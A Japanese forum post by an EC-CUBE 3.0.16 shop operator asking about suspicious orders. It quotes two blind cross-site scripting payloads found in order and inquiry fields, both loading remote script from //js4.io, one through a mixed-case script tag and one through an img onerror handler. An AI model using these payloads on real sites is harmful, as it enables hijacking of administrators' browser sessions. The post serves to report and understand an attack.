こんにちは。EC-CUBE3を用いてショップサイトを運営しております。
最近、不審な受注が入るようになりました。
住所欄や会社名欄に
"><sCRiPt sRC=//js4.io></sCrIpT>
という記述があります。

また、お問い合わせ欄には
プライバシーパッケージ</tExtArEa>'"><img src onerror=s=createElement('script');body.appendChild(s);s.src='//js4.io' style='display:none'>
という記述がされています。

現状、これといった被害は確認しておりませんが、不気味なので情報を求めています。
同様の現象をご存じの方、もしくは、記述されているのがどういった意味のコードなのかご存じの方がいらっしゃいましたら、ご教授いただければ幸いです。


▼テンプレート
[EC-CUBE] 3.0.16
[レンタルサーバ] Xserver
[OS] Linux sv822.xserver.jp 4.4.0-197-generic #229-Ubuntu SMP Wed Nov 25 11:05:42 UTC 2020 x86_64
[PHP] PHP7.2.34
[データベース] MySQL 5.7.27
[WEBサーバ] Apache
[ブラウザ] Google Chrome